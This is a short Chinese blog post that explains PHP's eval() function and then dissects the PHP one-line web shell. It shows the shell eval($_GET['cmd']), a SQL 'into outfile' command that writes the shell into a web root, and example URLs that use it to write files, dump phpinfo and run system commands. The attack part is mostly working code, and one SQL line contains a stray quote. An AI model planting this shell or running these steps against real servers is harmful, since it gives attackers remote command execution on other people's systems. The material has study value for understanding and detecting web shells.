您的位置:首页 > 编程语言 > PHP开发

eval函数简介与PHP一句话木马剖析

2019-04-19 20:36 357 查看

eval函数简介与PHP一句话木马剖析

一、eval函数

  1. eval() 函数把字符串按照 PHP 代码来计算。
  2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
  3. 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

二、eval函数的一般用法

<?php

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

输出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函数的特殊用法

<?php
eval($_GET["cmd"]);
?>

四:php一句话挂马的原理

  1. 通过数据库写马:
select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",//不过这个命令是DB和web在同一台机器的时候可以这样执行
  1. 通过web写马
<?php

eval($_GET["cmd"]);

?>

访问:

http://localhost/test.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
  1. 查看php的shell信息:
http://localhost/test.php?cmd=phpinfo();
  1. 查看当前运行的服务
http://localhost/test.php?cmd=system("net start");
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: